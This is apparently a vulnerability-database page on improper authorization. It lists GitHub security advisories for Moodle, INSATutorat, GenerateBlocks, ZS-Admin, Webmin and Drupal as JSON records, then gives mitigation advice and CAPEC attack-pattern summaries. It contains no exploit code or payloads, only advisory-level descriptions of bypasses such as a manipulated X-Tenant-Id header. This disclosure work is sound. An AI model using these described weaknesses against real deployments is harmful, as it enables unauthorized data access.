"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Dozzle label filters do not restrict container event and statistics streams"
}
GHSA-XFV7-H2QG-RJM7
Vulnerability from github – Published: 2024-11-20 12:30 – Updated: 2024-11-20 21:45A flaw was found in Moodle. When restricting access to a lesson activity with a password, certain passwords could be bypassed or less secure due to a loose comparison in the password-checking logic. This issue only affected passwords set to "magic hash" values.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.13"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0-beta"
},
{
"fixed": "4.2.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "4.3.0-beta"
},
{
"fixed": "4.3.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "moodle/moodle"
},
"ranges": [
{
"events": [
{
"introduced": "4.4.0-beta"
},
{
"fixed": "4.4.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-45691"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-289"
],
"github_reviewed": true,
"github_reviewed_at": "2024-11-20T18:25:26Z",
"nvd_published_at": "2024-11-20T11:15:05Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Moodle. When restricting access to a lesson activity with a password, certain passwords could be bypassed or less secure due to a loose comparison in the password-checking logic. This issue only affected passwords set to \"magic hash\" values.",
"id": "GHSA-xfv7-h2qg-rjm7",
"modified": "2024-11-20T21:45:02Z",
"published": "2024-11-20T12:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45691"
},
{
"type": "WEB",
"url": "https://github.com/moodle/moodle/commit/3fc1073d304f660d2552b591c5fb92547ed01e92"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2309940"
},
{
"type": "PACKAGE",
"url": "https://github.com/moodle/moodle"
},
{
"type": "WEB",
"url": "https://moodle.org/mod/forum/discuss.php?d=461897#p1854494"
},
{
"type": "WEB",
"url": "https://moodle.org/security"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Moodle Lesson activity password bypass through PHP loose comparison"
}
GHSA-XFX2-PRG5-JQ3G
Vulnerability from github – Published: 2026-03-01 01:22 – Updated: 2026-03-01 01:22Impact
An authorization bypass vulnerability was discovered in the administration pages of the tutoring application. When a standard user (logged in but without administrator privileges) attempts to access a resource under /api/admin/, the system detects the error but does not block the request.
As a result, sensitive data is still transmitted by the server in the request (GET), and modification actions such as campaign creation (POST) are executed successfully despite the FORBIDDEN error message. All /api/admin/* endpoints are affected.
Remediation
The issue was resolved by adding the missing c.Abort() instruction in the Gin authentication middleware (commit 15ae474). This instruction immediately interrupts the processing chain if the user is not an administrator.
Workarounds
There is no workaround other than applying the fix in the source code.
Resources:
- Link to the fix commit: 15ae474
Credits
INSATutorat thanks the Master 2 SSI 25-26 team at the University of Rouen Normandie for their research work on this project. - Malak Bekkai - Matthieu Espada Mora - Amen Allah Khalf Allah - Liam Laouenan - Neila Ould Slimane - Lucas Thomire
This advisory was translated from French to English by GitHub Copilot.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/romitou/insatutorat"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260226075457-15ae47425aed"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-01T01:22:25Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nAn authorization bypass vulnerability was discovered in the administration pages of the tutoring application. When a standard user (logged in but without administrator privileges) attempts to access a resource under /api/admin/, the system detects the error but does not block the request.\n\nAs a result, sensitive data is still transmitted by the server in the request (GET), and modification actions such as campaign creation (POST) are executed successfully despite the FORBIDDEN error message. All /api/admin/* endpoints are affected.\n\n### Remediation\n\nThe issue was resolved by adding the missing c.Abort() instruction in the Gin authentication middleware (commit 15ae474). This instruction immediately interrupts the processing chain if the user is not an administrator.\n\n### Workarounds\n\nThere is no workaround other than applying the fix in the source code.\n\n### Resources:\n* Link to the fix commit: [15ae474](https://github.com/Romitou/INSATutorat/commit/15ae47425aed337181f7a6c54a9d199c93b041eb)\n\n\n### Credits\nINSATutorat thanks the Master 2 SSI 25-26 team at the University of Rouen Normandie for their research work on this project.\n- Malak Bekkai\n- Matthieu Espada Mora\n- Amen Allah Khalf Allah\n- Liam Laouenan\n- Neila Ould Slimane\n- Lucas Thomire\n\nThis advisory was translated from French to English by GitHub Copilot.",
"id": "GHSA-xfx2-prg5-jq3g",
"modified": "2026-03-01T01:22:25Z",
"published": "2026-03-01T01:22:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Romitou/INSATutorat/security/advisories/GHSA-xfx2-prg5-jq3g"
},
{
"type": "WEB",
"url": "https://github.com/Romitou/INSATutorat/commit/15ae47425aed337181f7a6c54a9d199c93b041eb"
},
{
"type": "PACKAGE",
"url": "https://github.com/Romitou/INSATutorat"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "INSATutorat has an authorization bypass vulnerability in its /api/admin/* endpoints"
}
GHSA-XGCR-J3C3-GC3W
Vulnerability from github – Published: 2025-10-25 06:30 – Updated: 2025-10-25 06:30The GenerateBlocks plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the 'get_option_rest' function in all versions up to, and including, 2.1.1. This makes it possible for authenticated attackers, with contributor level access and above, to read arbitrary WordPress options, including sensitive information such as SMTP credentials, API keys, and other data stored by other plugins.
{
"affected": [],
"aliases": [
"CVE-2025-11879"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-25T06:15:35Z",
"severity": "MODERATE"
},
"details": "The GenerateBlocks plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the \u0027get_option_rest\u0027 function in all versions up to, and including, 2.1.1. This makes it possible for authenticated attackers, with contributor level access and above, to read arbitrary WordPress options, including sensitive information such as SMTP credentials, API keys, and other data stored by other plugins.",
"id": "GHSA-xgcr-j3c3-gc3w",
"modified": "2025-10-25T06:30:15Z",
"published": "2025-10-25T06:30:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-11879"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/generateblocks/tags/2.1.1/includes/class-meta-handler.php#L19"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/generateblocks/tags/2.1.1/includes/class-meta-handler.php#L356"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/generateblocks/tags/2.1.1/includes/class-meta-handler.php#L78"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5f1ba1c7-de88-4070-a4ec-fbe4a0c30920?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XGFR-74FV-QV4Q
Vulnerability from github – Published: 2026-07-21 18:31 – Updated: 2026-07-21 18:31A vulnerability was identified in zsadmin2025 ZS-Admin up to b52e14536d59fda11e56e2536a1c32e82a38cead. This affects the function getTenantId of the file /api/system/sys/dept/page of the component MyBatis-Plus Tenant Plugin. Such manipulation of the argument X-Tenant-Id leads to authorization bypass. The attack may be performed from remote. The exploit is publicly available and might be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.
{
"affected": [],
"aliases": [
"CVE-2026-16450"
],
"database_specific": {
"cwe_ids": [
"CWE-285"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T16:17:07Z",
"severity": "LOW"
},
"details": "A vulnerability was identified in zsadmin2025 ZS-Admin up to b52e14536d59fda11e56e2536a1c32e82a38cead. This affects the function getTenantId of the file /api/system/sys/dept/page of the component MyBatis-Plus Tenant Plugin. Such manipulation of the argument X-Tenant-Id leads to authorization bypass. The attack may be performed from remote. The exploit is publicly available and might be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.",
"id": "GHSA-xgfr-74fv-qv4q",
"modified": "2026-07-21T18:31:01Z",
"published": "2026-07-21T18:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-16450"
},
{
"type": "WEB",
"url": "https://github.com/zsadmin2025/zs-admin-java/issues/5"
},
{
"type": "WEB",
"url": "https://vuldb.com/cve/CVE-2026-16450"
},
{
"type": "WEB",
"url": "https://vuldb.com/submit/858791"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/380829"
},
{
"type": "WEB",
"url": "https://vuldb.com/vuln/380829/cti"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XGHP-2WJ5-QCMQ
Vulnerability from github – Published: 2022-03-03 00:00 – Updated: 2022-03-17 00:04Improper Authorization in GitHub repository webmin/webmin prior to 1.990.
{
"affected": [],
"aliases": [
"CVE-2022-0829"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-03-02T12:15:00Z",
"severity": "HIGH"
},
"details": "Improper Authorization in GitHub repository webmin/webmin prior to 1.990.",
"id": "GHSA-xghp-2wj5-qcmq",
"modified": "2022-03-17T00:04:16Z",
"published": "2022-03-03T00:00:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0829"
},
{
"type": "WEB",
"url": "https://github.com/webmin/webmin/commit/eeeea3c097f5cc473770119f7ac61f1dcfa671b9"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/f2d0389f-d7d1-4f34-9f9d-268b0a0da05e"
},
{
"type": "WEB",
"url": "https://notes.netbytesec.com/2022/03/webmin-broken-access-control-to-post-auth-rce.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-XGJG-VWWH-M3X2
Vulnerability from github – Published: 2026-08-26 00:31 – Updated: 2026-08-26 21:31Incorrect Authorization vulnerability in Drupal Edit in-place field allows Forceful Browsing. This issue affects Edit in-place field versions: from 0.0.0 to 2.1.1.
{
"affected": [],
"aliases": [
"CVE-2026-18985"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-863"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-25T23:16:57Z",
"severity": "HIGH"
},
"details": "Incorrect Authorization vulnerability in Drupal Edit in-place field allows Forceful Browsing. This issue affects Edit in-place field versions: from 0.0.0 to 2.1.1.",
"id": "GHSA-xgjg-vwwh-m3x2",
"modified": "2026-08-26T21:31:40Z",
"published": "2026-08-26T00:31:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-18985"
},
{
"type": "WEB",
"url": "https://www.drupal.org/sa-contrib-2026-093"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
- Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries.
- Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
Mitigation MIT-4.4
Strategy: Libraries or Frameworks
- Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
- For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
- For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
- One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-104: Cross Zone Scripting
An attacker is able to cause a victim to load content into their web-browser that bypasses security zone controls and gain access to increased privileges to execute scripting code or other web objects such as unsigned ActiveX controls or applets. This is a privilege elevation attack targeted at zone-based web-browser security.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-13: Subverting Environment Variable Values
The adversary directly or indirectly modifies environment variables used by or controlling the target software. The adversary's goal is to cause the target software to deviate from its expected operation in a manner that benefits the adversary.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-39: Manipulating Opaque Client-based Data Tokens
In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation.
CAPEC-402: Bypassing ATA Password Security
An adversary exploits a weakness in ATA security on a drive to gain access to the information the drive contains without supplying the proper credentials. ATA Security is often employed to protect hard disk information from unauthorized access. The mechanism requires the user to type in a password before the BIOS is allowed access to drive contents. Some implementations of ATA security will accept the ATA command to update the password without the user having authenticated with the BIOS. This occurs because the security mechanism assumes the user has first authenticated via the BIOS prior to sending commands to the drive. Various methods exist for exploiting this flaw, the most common being installing the ATA protected drive into a system lacking ATA security features (a.k.a. hot swapping). Once the drive is installed into the new system the BIOS can be used to reset the drive password.
CAPEC-45: Buffer Overflow via Symbolic Links
This type of attack leverages the use of symbolic links to cause buffer overflows. An adversary can try to create or manipulate a symbolic link file such that its contents result in out of bounds data. When the target software processes the symbolic link file, it could potentially overflow internal buffers with insufficient bounds checking.
CAPEC-5: Blue Boxing
This type of attack against older telephone switches and trunks has been around for decades. A tone is sent by an adversary to impersonate a supervisor signal which has the effect of rerouting or usurping command of the line. While the US infrastructure proper may not contain widespread vulnerabilities to this type of attack, many companies are connected globally through call centers and business process outsourcing. These international systems may be operated in countries which have not upgraded Telco infrastructure and so are vulnerable to Blue boxing. Blue boxing is a result of failure on the part of the system to enforce strong authorization for administrative functions. While the infrastructure is different than standard current applications like web applications, there are historical lessons to be learned to upgrade the access control for administrative functions.
{'xhtml:b': 'This attack pattern is included in CAPEC for historical purposes.'}
CAPEC-51: Poison Web Service Registry
SOA and Web Services often use a registry to perform look up, get schema information, and metadata about services. A poisoned registry can redirect (think phishing for servers) the service requester to a malicious service provider, provide incorrect information in schema or metadata, and delete information about service provider interfaces.
CAPEC-59: Session Credential Falsification through Prediction
This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-647: Collect Data from Registries
An adversary exploits a weakness in authorization to gather system-specific data and sensitive information within a registry (e.g., Windows Registry, Mac plist). These contain information about the system configuration, software, operating system, and security. The adversary can leverage information gathered in order to carry out further attacks.
CAPEC-668: Key Negotiation of Bluetooth Attack (KNOB)
An adversary can exploit a flaw in Bluetooth key negotiation allowing them to decrypt information sent between two devices communicating via Bluetooth. The adversary uses an Adversary in the Middle setup to modify packets sent between the two devices during the authentication process, specifically the entropy bits. Knowledge of the number of entropy bits will allow the attacker to easily decrypt information passing over the line of communication.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.
CAPEC-87: Forceful Browsing
An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.